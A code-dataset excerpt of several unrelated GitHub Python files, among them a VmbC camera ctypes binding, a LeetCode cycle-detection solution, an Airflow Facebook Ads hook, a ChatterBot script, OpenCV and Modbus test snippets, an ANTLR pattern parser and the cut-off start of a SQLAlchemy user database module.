self.pollingTime)\n rep += fmt_enum_repr(',visibility={}', VmbFeatureVisibility, self.visibility)\n rep += fmt_repr(',isStreamable={}', self.isStreamable)\n rep += fmt_repr(',hasSelectedFeatures={}', self.hasSelectedFeatures)\n rep += ')'\n return rep\n\n\nclass VmbFeatureEnumEntry(ctypes.Structure):\n \"\"\"\n Info about possible entries of an enumeration feature:\n Fields:\n name - Type: c_char_p\n Info: Name used in the API\n displayName - Type: c_char_p\n Info: Enumeration entry name to be used in GUIs\n tooltip - Type: c_char_p\n Info: Short description, e.g. for a tooltip\n description - Type: c_char_p\n Info: Longer description\n intValue - Type: VmbInt64\n Info: Integer value of this enumeration entry\n sfncNamespace - Type: c_char_p\n Info: Namespace this feature resides in\n visibility - Type: VmbFeatureVisibility (VmbUint32)\n Info: GUI visibility\n \"\"\"\n _fields_ = [\n (\"name\", c_char_p),\n (\"displayName\", c_char_p),\n (\"tooltip\", c_char_p),\n (\"description\", c_char_p),\n (\"intValue\", VmbInt64),\n (\"sfncNamespace\", c_char_p),\n (\"visibility\", VmbUint32)\n ]\n\n def __repr__(self):\n rep = 'VmbFeatureEnumEntry'\n rep += fmt_repr('(name={}', self.name)\n rep += fmt_repr(',displayName={}', self.displayName)\n rep += fmt_repr(',tooltip={}', self.tooltip)\n rep += fmt_repr(',description={}', self.description)\n rep += fmt_repr(',intValue={},', self.intValue)\n rep += fmt_repr(',sfncNamespace={}', self.sfncNamespace)\n rep += fmt_enum_repr(',visibility={}', VmbFeatureVisibility, self.visibility)\n rep += ')'\n return rep\n\n\nclass VmbFrame(ctypes.Structure):\n \"\"\"\n Frame delivered by Camera\n Fields (in):\n buffer - Type: c_void_p\n Info: Comprises image and chunk data\n bufferSize - Type: VmbUint32_t\n Info: Size of the data buffer\n context - Type: c_void_p[4]\n Info: 4 void pointers that can be employed by the user\n (e.g. for storing handles)\n\n Fields (out):\n receiveStatus - Type: VmbFrameStatus (VmbInt32)\n Info: Resulting status of the receive operation\n frameID - Type: VmbUint64\n Info: Unique ID of this frame in this stream\n timestamp - Type: VmbUint64\n Info: Timestamp set by the camera\n imageData - Type: c_ptr(VmbUint8)\n Info: The start of the image data, if present, or null\n receiveFlags - Type: VmbFrameFlags (VmbUint32)\n Info: Flags indicating which additional frame information is\n available\n pixelFormat - Type: VmbPixelFormat (VmbUint32)\n Info: Pixel format of the image\n width - Type: VmbImageDimension_t (VmbUint32)\n Info: Width of an image\n height - Type: VmbImageDimension_t (VmbUint32)\n Info: Height of an image\n offsetX - Type: VmbImageDimension_t (VmbUint32)\n Info: Horizontal offset of an image\n offsetY - Type: VmbImageDimension_t (VmbUint32)\n Info: Vertical offset of an image\n payloadType - Type: VmbPayloadType (VmbUint32)\n Info: The type of payload\n chunkDataPresent - Type: VmbBool\n Info: True if the transport layer reported chunk data to be present\n in the buffer\n \"\"\"\n _fields_ = [\n (\"buffer\", c_void_p),\n (\"bufferSize\", VmbUint32),\n (\"context\", c_void_p * 4),\n (\"receiveStatus\", VmbInt32),\n (\"frameID\", VmbUint64),\n (\"timestamp\", VmbUint64),\n (\"imageData\", c_ptr(VmbUint8)),\n (\"receiveFlags\", VmbUint32),\n (\"pixelFormat\", VmbUint32),\n (\"width\", VmbUint32),\n (\"height\", VmbUint32),\n (\"offsetX\", VmbUint32),\n (\"offsetY\", VmbUint32),\n (\"payloadType\", VmbUint32),\n (\"chunkDataPresent\", VmbBool)\n ]\n\n def __repr__(self):\n rep = 'VmbFrame'\n rep += fmt_repr('(buffer={}', hex(self.buffer))\n rep += fmt_repr(',bufferSize={}', self.bufferSize)\n rep += fmt_repr(',context={}', self.context)\n rep += fmt_enum_repr(',receiveStatus: {}', VmbFrameStatus, self.receiveStatus)\n rep += fmt_repr(',frameID={}', self.frameID)\n rep += fmt_repr(',timestamp={}', self.timestamp)\n if self.imageData:\n rep += fmt_repr(',imageData={}', hex(ctypes.addressof(self.imageData.contents)))\n else:\n # imageData pointer is a nullptr. Use `None` to represent this\n rep += fmt_repr(',imageData={}', None)\n rep += fmt_flags_repr(',receiveFlags={}', VmbFrameFlags, self.receiveFlags)\n rep += fmt_enum_repr(',pixelFormat={}', VmbPixelFormat, self.pixelFormat)\n rep += fmt_repr(',width={}', self.width)\n rep += fmt_repr(',height={}', self.height)\n rep += fmt_repr(',offsetX={}', self.offsetX)\n rep += fmt_repr(',offsetY={}', self.offsetY)\n rep += fmt_repr(',payloadType={}', self.payloadType)\n rep += fmt_repr('chunkDataPresent={}', self.chunkDataPresent)\n rep += ')'\n return rep\n\n def deepcopy_skip_ptr(self, memo):\n result = VmbFrame()\n memo[id(self)] = result\n\n result.buffer = None\n result.bufferSize = 0\n result.context = (None, None, None, None)\n\n setattr(result, 'receiveStatus', copy.deepcopy(self.receiveStatus, memo))\n setattr(result, 'frameID', copy.deepcopy(self.frameID, memo))\n setattr(result, 'timestamp', copy.deepcopy(self.timestamp, memo))\n result.imageData = None\n setattr(result, 'receiveFlags', copy.deepcopy(self.receiveFlags, memo))\n setattr(result, 'pixelFormat', copy.deepcopy(self.pixelFormat, memo))\n setattr(result, 'width', copy.deepcopy(self.width, memo))\n setattr(result, 'height', copy.deepcopy(self.height, memo))\n setattr(result, 'offsetX', copy.deepcopy(self.offsetX, memo))\n setattr(result, 'offsetY', copy.deepcopy(self.offsetY, memo))\n setattr(result, 'payloadType', copy.deepcopy(self.payloadType, memo))\n setattr(result, 'chunkDataPresent', copy.deepcopy(self.chunkDataPresent, memo))\n return result\n\n\nclass VmbFeaturePersistSettings(ctypes.Structure):\n \"\"\"\n Parameters determining the operation mode of VmbCameraSettingsSave\n and VmbCameraSettingsLoad\n Fields:\n persistType - Type: VmbFeaturePersist (VmbUint32)\n Info: Type of features that are to be saved\n modulePersistFlags - Type: VmbModulePersistFlags (VmbUint32)\n Info: Flags specifying the modules to persist/load\n maxIterations - Type: VmbUint32\n Info: Number of iterations when loading settings\n loggingLevel - Type: VmbUint32\n Info: Determines level of detail for load/save\n settings logging\n \"\"\"\n _fields_ = [\n (\"persistType\", VmbUint32),\n (\"modulePersistFlags\", VmbUint32),\n (\"maxIterations\", VmbUint32),\n (\"loggingLevel\", VmbUint32)\n ]\n\n def __repr__(self):\n rep = 'VmbFrame'\n rep += fmt_enum_repr('(persistType={}', VmbFeaturePersist, self.persistType)\n rep += fmt_enum_repr('(modulePersistFlags={}',\n VmbModulePersistFlags,\n self.persistmodulePersistFlagsType)\n rep += fmt_repr(',maxIterations={}', self.maxIterations)\n rep += fmt_repr(',loggingLevel={}', self.loggingLevel)\n rep += ')'\n return rep\n\n\ndef _build_callback_type(*args):\n global _lib_instance\n\n lib_type = type(_lib_instance)\n\n if lib_type == ctypes.CDLL:\n return ctypes.CFUNCTYPE(*args)\n\n elif lib_type == ctypes.WinDLL:\n return ctypes.WINFUNCTYPE(*args)\n\n else:\n raise VmbSystemError('Unknown Library Type. Abort.')\n\n\nCHUNK_CALLBACK_TYPE = _build_callback_type(VmbUint32, VmbHandle, ctypes.c_void_p)\nINVALIDATION_CALLBACK_TYPE = _build_callback_type(None, VmbHandle, ctypes.c_char_p, ctypes.c_void_p)\nFRAME_CALLBACK_TYPE = _build_callback_type(None, VmbHandle, VmbHandle, ctypes.POINTER(VmbFrame))\n\n\n# For detailed information on the signatures see \"VmbC.h\"\n# To improve readability, suppress 'E501 line too long (> 100 characters)'\n# check of flake8\n_SIGNATURES = {\n 'VmbVersionQuery': (VmbError, [c_ptr(VmbVersionInfo), VmbUint32]),\n 'VmbStartup': (VmbError, [c_ptr(VmbFilePathChar)]),\n 'VmbShutdown': (None, None),\n 'VmbCamerasList': (VmbError, [c_ptr(VmbCameraInfo), VmbUint32, c_ptr(VmbUint32), VmbUint32]),\n 'VmbCameraInfoQuery': (VmbError, [c_str, c_ptr(VmbCameraInfo), VmbUint32]),\n 'VmbCameraOpen': (VmbError, [c_str, VmbAccessMode, c_ptr(VmbHandle)]),\n 'VmbCameraClose': (VmbError, [VmbHandle]),\n 'VmbFeaturesList': (VmbError, [VmbHandle, c_ptr(VmbFeatureInfo), VmbUint32, c_ptr(VmbUint32), VmbUint32]), # noqa: E501\n 'VmbFeatureInfoQuery': (VmbError, [VmbHandle, c_str, c_ptr(VmbFeatureInfo), VmbUint32]),\n 'VmbFeatureListSelected': (VmbError, [VmbHandle, c_str, c_ptr(VmbFeatureInfo), VmbUint32, c_ptr(VmbUint32), VmbUint32]), # noqa: E501\n 'VmbFeatureAccessQuery': (VmbError, [VmbHandle, c_str, c_ptr(VmbBool), c_ptr(VmbBool)]),\n 'VmbFeatureIntGet': (VmbError, [VmbHandle, c_str, c_ptr(VmbInt64)]),\n 'VmbFeatureIntSet': (VmbError, [VmbHandle, c_str, VmbInt64]),\n 'VmbFeatureIntRangeQuery': (VmbError, [VmbHandle, c_str, c_ptr(VmbInt64), c_ptr(VmbInt64)]),\n 'VmbFeatureIntIncrementQuery': (VmbError, [VmbHandle, c_str, c_ptr(VmbInt64)]),\n 'VmbFeatureFloatGet': (VmbError, [VmbHandle, c_str, c_ptr(VmbDouble)]),\n 'VmbFeatureFloatSet': (VmbError, [VmbHandle, c_str, VmbDouble]),\n 'VmbFeatureFloatRangeQuery': (VmbError, [VmbHandle, c_str, c_ptr(VmbDouble), c_ptr(VmbDouble)]),\n 'VmbFeatureFloatIncrementQuery': (VmbError, [VmbHandle, c_str, c_ptr(VmbBool), c_ptr(VmbDouble)]), # noqa: E501\n 'VmbFeatureEnumGet': (VmbError, [VmbHandle, c_str, c_ptr(c_str)]),\n 'VmbFeatureEnumSet': (VmbError, [VmbHandle, c_str, c_str]),\n 'VmbFeatureEnumRangeQuery': (VmbError, [VmbHandle, c_str, c_ptr(c_str), VmbUint32, c_ptr(VmbUint32)]), # noqa: E501\n 'VmbFeatureEnumIsAvailable': (VmbError, [VmbHandle, c_str, c_str, c_ptr(VmbBool)]),\n 'VmbFeatureEnumAsInt': (VmbError, [VmbHandle, c_str, c_str, c_ptr(VmbInt64)]),\n 'VmbFeatureEnumAsString': (VmbError, [VmbHandle, c_str, VmbInt64, c_ptr(c_str)]),\n 'VmbFeatureEnumEntryGet': (VmbError, [VmbHandle, c_str, c_str, c_ptr(VmbFeatureEnumEntry), VmbUint32]), # noqa: E501\n 'VmbFeatureStringGet': (VmbError, [VmbHandle, c_str, c_str, VmbUint32, c_ptr(VmbUint32)]), # noqa: E501\n 'VmbFeatureStringSet': (VmbError, [VmbHandle, c_str, c_str]),\n 'VmbFeatureStringMaxlengthQuery': (VmbError, [VmbHandle, c_str, c_ptr(VmbUint32)]),\n 'VmbFeatureBoolGet': (VmbError, [VmbHandle, c_str, c_ptr(VmbBool)]),\n 'VmbFeatureBoolSet': (VmbError, [VmbHandle, c_str, VmbBool]),\n 'VmbFeatureCommandRun': (VmbError, [VmbHandle, c_str]),\n 'VmbFeatureCommandIsDone': (VmbError, [VmbHandle, c_str, c_ptr(VmbBool)]),\n 'VmbFeatureRawGet': (VmbError, [VmbHandle, c_str, c_str, VmbUint32, c_ptr(VmbUint32)]),\n 'VmbFeatureRawSet': (VmbError, [VmbHandle, c_str, c_str, VmbUint32]),\n 'VmbFeatureRawLengthQuery': (VmbError, [VmbHandle, c_str, c_ptr(VmbUint32)]),\n 'VmbFeatureInvalidationRegister': (VmbError, [VmbHandle, c_str, INVALIDATION_CALLBACK_TYPE, c_void_p]), # noqa: E501\n 'VmbFeatureInvalidationUnregister': (VmbError, [VmbHandle, c_str, INVALIDATION_CALLBACK_TYPE]),\n 'VmbPayloadSizeGet': (VmbError, [VmbHandle, c_ptr(VmbUint32)]),\n 'VmbFrameAnnounce': (VmbError, [VmbHandle, c_ptr(VmbFrame), VmbUint32]),\n 'VmbFrameRevoke': (VmbError, [VmbHandle, c_ptr(VmbFrame)]),\n 'VmbFrameRevokeAll': (VmbError, [VmbHandle]),\n 'VmbCaptureStart': (VmbError, [VmbHandle]),\n 'VmbCaptureEnd': (VmbError, [VmbHandle]),\n 'VmbCaptureFrameQueue': (VmbError, [VmbHandle, c_ptr(VmbFrame), FRAME_CALLBACK_TYPE]),\n 'VmbCaptureFrameWait': (VmbError, [VmbHandle, c_ptr(VmbFrame), VmbUint32]),\n 'VmbCaptureQueueFlush': (VmbError, [VmbHandle]),\n 'VmbTransportLayersList': (VmbError, [c_ptr(VmbTransportLayerInfo), VmbUint32, c_ptr(VmbUint32), VmbUint32]), # noqa: E501\n 'VmbInterfacesList': (VmbError, [c_ptr(VmbInterfaceInfo), VmbUint32, c_ptr(VmbUint32), VmbUint32]), # noqa: E501\n 'VmbMemoryRead': (VmbError, [VmbHandle, VmbUint64, VmbUint32, c_str, c_ptr(VmbUint32)]),\n 'VmbMemoryWrite': (VmbError, [VmbHandle, VmbUint64, VmbUint32, c_str, c_ptr(VmbUint32)]),\n 'VmbSettingsSave': (VmbError, [VmbHandle, c_ptr(VmbFilePathChar), c_ptr(VmbFeaturePersistSettings), VmbUint32]), # noqa: E501\n 'VmbSettingsLoad': (VmbError, [VmbHandle, c_ptr(VmbFilePathChar), c_ptr(VmbFeaturePersistSettings), VmbUint32]), # noqa: E501\n 'VmbChunkDataAccess': (VmbError, [c_ptr(VmbFrame), CHUNK_CALLBACK_TYPE, c_void_p])\n}\n\n\ndef _attach_signatures(lib_handle):\n global _SIGNATURES\n\n for function_name, signature in _SIGNATURES.items():\n fn = getattr(lib_handle, function_name)\n fn.restype, fn.argtypes = signature\n fn.errcheck = _eval_vmberror\n\n return lib_handle\n\n\ndef _check_version(lib_handle):\n global EXPECTED_VMB_C_VERSION\n global VMB_C_VERSION\n\n v = VmbVersionInfo()\n lib_handle.VmbVersionQuery(byref(v), sizeof(v))\n\n VMB_C_VERSION = str(v)\n\n loaded_version = (v.major, v.minor, v.patch)\n expected_version = tuple(map(int, EXPECTED_VMB_C_VERSION.split(\".\")))\n # major and minor version must be equal, patch version may be equal or greater\n if not (loaded_version[0:2] == expected_version[0:2] and\n loaded_version[2] >= expected_version[2]):\n msg = 'Invalid VmbC Version: Expected: {}, Found:{}'\n raise VmbSystemError(msg.format(EXPECTED_VMB_C_VERSION, VMB_C_VERSION))\n\n return lib_handle\n\n\ndef _eval_vmberror(result: VmbError, func: Callable[..., Any], *args: Tuple[Any, ...]):\n if result not in (VmbError.Success, None):\n raise VmbCError(result)\n\n\n_lib_instance = _check_version(_attach_signatures(_lib_instance))\n\n\n@TraceEnable()\ndef call_vmb_c(func_name: str, *args):\n \"\"\"This function encapsulates the entire VmbC access.\n\n For Details on valid function signatures see the 'VmbC.h'.\n\n Arguments:\n func_name: The function name from VmbC to be called.\n args: Varargs passed directly to the underlying C-Function.\n\n Raises:\n TypeError if given are do not match the signature of the function.\n AttributeError if func with name 'func_name' does not exist.\n VmbCError if the function call is valid but neither None or VmbError.Success was returned.\n\n The following functions of VmbC can be executed:\n VmbVersionQuery\n VmbStartup\n VmbShutdown\n VmbCamerasList\n VmbCameraInfoQuery\n VmbCameraOpen\n VmbCameraClose\n VmbFeaturesList\n VmbFeatureInfoQuery\n VmbFeatureListSelected\n VmbFeatureAccessQuery\n VmbFeatureIntGet\n VmbFeatureIntSet\n VmbFeatureIntRangeQuery\n VmbFeatureIntIncrementQuery\n VmbFeatureFloatGet\n VmbFeatureFloatSet\n VmbFeatureFloatRangeQuery\n VmbFeatureFloatIncrementQuery\n VmbFeatureEnumGet\n VmbFeatureEnumSet\n VmbFeatureEnumRangeQuery\n VmbFeatureEnumIsAvailable\n VmbFeatureEnumAsInt\n VmbFeatureEnumAsString\n VmbFeatureEnumEntryGet\n VmbFeatureStringGet\n VmbFeatureStringSet\n VmbFeatureStringMaxlengthQuery\n VmbFeatureBoolGet\n VmbFeatureBoolSet\n VmbFeatureCommandRun\n VmbFeatureCommandIsDone\n VmbFeatureRawGet\n VmbFeatureRawSet\n VmbFeatureRawLengthQuery\n VmbFeatureInvalidationRegister\n VmbFeatureInvalidationUnregister\n VmbFrameAnnounce\n VmbFrameRevoke\n VmbFrameRevokeAll\n VmbCaptureStart\n VmbCaptureEnd\n VmbCaptureFrameQueue\n VmbCaptureFrameWait\n VmbCaptureQueueFlush\n VmbInterfacesList\n VmbMemoryRead\n VmbMemoryWrite\n VmbSettingsSave\n VmbSettingsLoad\n VmbChunkDataAccess\n \"\"\"\n global _lib_instance\n getattr(_lib_instance, func_name)(*args)\n","repo_name":"alliedvision/VmbPy","sub_path":"vmbpy/c_binding/vmb_c.py","file_name":"vmb_c.py","file_ext":"py","file_size_in_byte":34941,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"2485272657","text":"\n'''\n# 一个简单的做法是将访问过的节点存储下来\ndef detectCycle(self, head: ListNode) -> ListNode:\n \n if not head or not head.next:\n return None\n \n L = []\n p = head\n while p:\n if p in L:\n return p\n break\n L.append(p)\n pre = p\n p = p.next\n\n return None\n'''\n\n# 利用快慢指针的距离关系\n# 首先我们假设从表头开始,走距离a到入环点,走距离b到快慢指针的第一次相交点,再走c到入环点\n# 我们假设快指针走了n圈,那么快指针走过的长度是:a + n*(b+c) + b\n# 相对的 慢指针走过的长度是:a+b\n# 因此根据两个指针的步长可以得到 a + n*(b+c) + b = 2*(a+b),解得 a = c + (n-1)*(b+c)\n# a是表头到入环点,c是相遇点到入环点,(n-1)*(b+c)是n-1个整圈\n# 这样我们可以再安排一次双指针,P从表头开始走,Q从相交点开始走,这样Q在走了n-1圈后,在第n圈就会刚好和P在入环点相遇\ndef detectCycle(self, head: ListNode) -> ListNode:\n \n fast, slow = head, head\n while True:\n if not (fast and fast.next): \n return None\n fast, slow = fast.next.next, slow.next\n if fast == slow: \n break\n \n fast = head\n while fast != slow:\n fast, slow = fast.next, slow.next\n return fast","repo_name":"August1s/LeetCode","sub_path":"Linked List/No143环形链表II.py","file_name":"No143环形链表II.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72843722614","text":"from airflow.hooks.base_hook import BaseHook\nfrom facebook_business.api import FacebookAdsApi\nfrom facebook_business.adobjects.adaccount import AdAccount\n\n\nclass FacebookAdsHook(BaseHook):\n\n # Hook to connect with FacebookAdsHook\n def __init__(self,\n facebook_ads_conn_id='facebook_ads_default',\n campus_name=None):\n\n # Link to the connection setting\n conn = self.get_connection(facebook_ads_conn_id)\n\n # Getting Acces ID from connection\n my_app_id = conn.extra_dejson['app_id']\n my_app_secret = conn.extra_dejson['fb_secret']\n my_access_token = conn.extra_dejson['access_token']\n self.campus_id = conn.extra_dejson[campus_name + '_account']\n\n # Initialitiong connection with Facebook\n FacebookAdsApi.init(my_app_id, my_app_secret, my_access_token)\n\n def get_campus_insights(self, params, fields):\n\n # Connecting to accounts\n campus_account = AdAccount(self.campus_id)\n\n campus_insights = campus_account.get_insights(\n params=params,\n fields=fields)\n\n return campus_insights\n","repo_name":"BjMrq/Python-AirflowReportPipeline","sub_path":"plugins/facebook_ads_plugin/hooks/facebook_ads_hook.py","file_name":"facebook_ads_hook.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"39169004401","text":"#Player 1 and player 2 move alternatively\n#There is a heap of n sticks, the players remove either 1, 2 or 3 sticks alternatively\n#If there are 0 sticks left, the current player loses\n\n#so there are the states from 0...n which gives the win-or-lose of the player with current move\n#Example\n#0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10\n#L, W, W, W, L, W, W, W, L, W, W\n\n#so if n is divisible by 4, we lose (of course if other play plays optimally)\n#also generalizing for k picks up\n\nn = 5\nk = 2\nif n%k == 0:\n print(\"The first player loses\")\nelse:\n print(\"The first player wins\")","repo_name":"mnjkhtri/cp-code","sub_path":"01 General Techniques/05GameTheory/01heapgame.py","file_name":"01heapgame.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21464032165","text":"# Import Python Coding Libraries\nfrom chatterbot import ChatBot\nfrom chatterbot.trainers import ListTrainer\n\n# Instantiate the BOT\nchatbot = ChatBot(\"Chatpot\") \n\n# TRAINER \n\"\"\"If you pass an iterable with exactly two items to ListTrainer.train(), \nthen ChatterBot considers the first item a statement and the second item an acceptable response.\nIf you provide longer lists of training conversations, \nthen this will establish each item in the list as a possible response to its predecessor in the list.\"\"\"\n\n# Instantiate the trainer\ntrainer = ListTrainer(chatbot)\n\n# Inserts entries into the database to build upon the graph structure the BOT uses to choose possible replies\n# 1st training round\ntrainer.train([\n \"Hi.\",\n \"Hello, I am Doug. How may I help you?\"\n])\n# 2nd training round\ntrainer.train([\n \"Are you a robot?\",\n \"Yes, I am an AI language model.\"\n])\ntrainer.train([\n \"How do you enter a sales order?\",\n \"Log in to the STORIS system using your user credentials. Click on the Sales module from the main menu.Click on Sales Order Entry to create a new sales order.Enter the customer information, including their name, address, phone number, and email address.\"\n])\n\n#EXIT CONDITIONS\nexit_conditions = (\":q\", \"quit\", \"exit\") # Tuple of exit conditions to end while loop\nwhile True: \n query = input(\"> \") # Get input from user and save it to query\n if query in exit_conditions: # If user input in exit conditions break while loop\n break\n else:\n print(f\"🤖 {chatbot.get_response(query)}\") # Takes user input and gets a response\n","repo_name":"nanderson1982/Chatbot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26625311040","text":"import cv2\r\n'''\r\n# To run the imamge same as it is or Color Image:\r\nimport cv2\r\nimg2 = cv2.imread(r\"J:\\pic\\IMG_20210801_122207.jpg\",1)\r\nimg2 = cv2.resize(img2,(1280,700))\r\ncv2.imshow('',img2)\r\nprint(img2)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n\r\n# Image Gray Scale:\r\nimg3 = cv2.imread(r\"J:\\pic\\IMG_20210801_122207.jpg\",0)\r\nimg3 = cv2.resize(img3,(800,400))\r\ncv2.imshow(\"Gray Scale Image\",img3)\r\nprint(img3)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n'''\r\n\r\n'''\r\n#path = input(r\"Enter Your Path: \")\r\n#print(\"Your Path is\",path)\r\n\r\nimg1 = cv2.imread(\"J:\\mayapur&camera\\IMG_20210917_120927.jpg\",0)\r\nimg1 = cv2.resize(img1,(560,700))\r\n#img1 = cv2.flip(img1,0)\r\ncv2.imshow(\"Converted images\" , img1)\r\n\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n'''\r\n\r\n\r\n## Image Convert to Gray Sclae and to Save It\r\nimg1 = cv2.imread(\"J:\\Photo\\sindur khela2022\\IMG_5805.JPG\",0)\r\nimg1 = cv2.resize(img1,(560,700))\r\nimg1 = cv2.flip(img1,1)\r\ncv2.imshow(\"Converted images\" , img1)\r\n\r\nk = cv2.waitKey(0) # To save the image after chaning it\r\nif k==ord('s'):\r\n cv2.imwrite('H:\\\\output.png',img1)\r\n print(\"iMAGE saves in H drive \")\r\nelse:\r\n cv2.destroyAllWindows()","repo_name":"Sumay234/DeepLearning-ComputerVision-NLP","sub_path":"Computer Vision/OpenCV/Open CV/ImageProcessing.py","file_name":"ImageProcessing.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24835702377","text":"\n\nimport sys, os\n\nfrom mbpoll.defines import DataFormat\nsys.path.append(os.getcwd())\nfrom mbpoll import MBPollTCPApp\n\nclass TestMBPDoc:\n \n \n def setup_method(self):\n print()\n self.app = MBPollTCPApp(ipAddress=\"172.16.11.31\")\n self.app.openConnection()\n print(\"++++++++++++++++++++++++++++++++++++++++\")\n\n def teardown_method(self):\n print()\n self.app.closeConnection()\n print(\"++++++++++++++++++++++++++++++++++++++++\")\n\n\n def test_write_coils(self):\n doc = self.app.createMbPollDoc(1,100)\n doc.writeMultipleCoils(528, [0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,0])\n doc.writeSingleCoil(559,1)\n\n\n\n def test_read_coils(self):\n doc = self.app.createMbPollDoc(1,100)\n ret = doc.readCoils(528, 32)\n print(ret)\n assert ret == [0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1]\n\n\n def test_read_discrete_inputs(self):\n doc = self.app.createMbPollDoc(1,100)\n ret = doc.readDiscreteInputs(528, 16)\n print(ret)\n assert ret == [0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1]\n \n\n def test_write_multiple_registers(self):\n doc = self.app.createMbPollDoc(1, 100)\n doc.writeMultipleRegisters(33, [0x1234, 0xDB98, 0x3149, 0xAC7A])\n \n def test_read_multiple_registers(self):\n doc = self.app.createMbPollDoc(1, 100)\n ret = doc.readHoldingRegisters(33, 4, format=DataFormat.SIGNED)\n print(ret)\n assert ret == [4660, -9320, 12617, -21382]\n ret = doc.readHoldingRegisters(33, 4, format=DataFormat.UNSIGNED)\n print(ret)\n assert ret == [0x1234, 0xDB98, 0x3149, 0xAC7A]\n ret = doc.readHoldingRegisters(33, 4, format=DataFormat.FLOAT_BIG_ENDIAN)\n print(ret)\n assert ret == [5.706865537029703e-28, 2.934739118387597e-09]\n","repo_name":"JunJie-zhang-o/MBPollHelper","sub_path":"test/test_document.py","file_name":"test_document.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1601427247","text":"import datetime\nimport re\ncurrent_time = datetime.datetime.now()\nmeetName = \"%s\" % current_time\nprint(type(current_time))\n\ns = \"RESP_ADDMEET\\r\\nVersion:1\\r\\nSeqNumber:1\\r\\nMeetName:2017-10-23 15:56:39.356736\\r\\nRetCode:200\\r\\n\\r\\n\"\ns = re.sub(r'\\r\\n\\r\\n','',s)\na = s.split('\\r\\n')\n\ndictMy = {}\n\nfor item in a:\n res = re.split(r':',item,1)\n print(res)\n if len(res)<2:\n dictMy['RetName'] = res[0]\n else:\n dictMy[res[0]] = res[1]\n\nprint(dictMy)\n # if re.match(r'RetCode:',item) is not None:\n #\n # print(item,\"hi!\")","repo_name":"WuNL/pyCharmProject","sub_path":"py3Test/t1.py","file_name":"t1.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23225296220","text":"def get_min_max(ints):\n if ints is None or len(ints) == 0:\n raise ValueError(\"Could not extract minimum and maximum from empty array\")\n\n if len(ints) == 1:\n return ints[0], ints[0]\n\n minimum = ints[0]\n maximum = ints[0]\n\n for number in ints[1:]:\n if number < minimum:\n minimum = number\n\n if number > maximum:\n maximum = number\n\n return minimum, maximum\n","repo_name":"timgrein/problems-vs-algorithms","sub_path":"min-max/MinMax.py","file_name":"MinMax.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12253994111","text":"import sys, re, os\nfrom antlr4 import *\nfrom antlr4 import Recognizer\nsys.path.append(os.path.dirname(os.path.abspath(__file__))+'/antlr')\nsys.path.append(os.path.dirname(os.path.abspath(__file__)))\nfrom PatternParser import PatternParser\nfrom PatternLexer import PatternLexer\nfrom PatternEvalVisitor import PatternEvalVisitor\n\n\nclass CommandParser(object):\n def __init__(self, cmd: str, zh_to_hant_dict: dict = None):\n i = InputStream(cmd)\n lexer = PatternLexer(i)\n stream = CommonTokenStream(lexer)\n parser = PatternParser(stream)\n if cmd.find(':') >= 0:\n tree = parser.prog()\n else:\n tree = parser.expr()\n v = PatternEvalVisitor(zh_to_hant_dict)\n res = v.visit(tree)\n\n self._re = res\n self._words = v.getWords()\n self._fields = v.getFields()\n\n def getRe(self):\n return self._re\n\n def getWords(self):\n return self._words\n\n def getFields(self):\n return self._fields\n\n\nif __name__ == '__main__':\n # print(pattern('爱(v,=5)不(t)'))\n print(CommandParser('画(v,<5)沒(v) author:我的', {\"画\": [\"畵\"]}).getRe())\n # t('爱(v,=5??)不(v)')\n # print()\n","repo_name":"xyorz/corpus","sub_path":"function/operation/pattern_search/PatternCommandParser.py","file_name":"PatternCommandParser.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"315827829","text":"#!/usr/bin/env python3\n\"\"\"\nDB module\n\"\"\"\nfrom sqlalchemy import create_engine, tuple_\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.orm.session import Session\nfrom sqlalchemy.exc import InvalidRequestError\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom sqlalchemy.exc import SQLAlchemyError\n\nfrom user import Base, User\n\n\nclass DB:\n \"\"\"\n DB class\n \"\"\"\n\n def __init__(self) -> None:\n \"\"\"\n Initialize a new DB instance\n \"\"\"\n self._engine = create_engine(\"sqlite:///a.db\", echo=False)\n Base.metadata.drop_all(self._engine)\n Base.metadata.create_all(self._engine)\n self.__session = None\n\n @property\n def _session(self) -> Session:\n \"\"\"\n Memoized session object\n \"\"\"\n if self.__session is None:\n DBSession = sessionmaker(bind=self._engine)\n self.__session = DBSession()\n return self.__session\n\n def add_user(self, email: str, hashed_password: str) -> User:\n \"\"\"\n Add a new user to the database\n\n Args:\n email (str): User's email\n hashed_password (str): User's hashed password\n\n Returns:\n User: The created User object\n \"\"\"\n try:\n user = User(email=email, hashed_password=hashed_password)\n self._session.add(user)\n 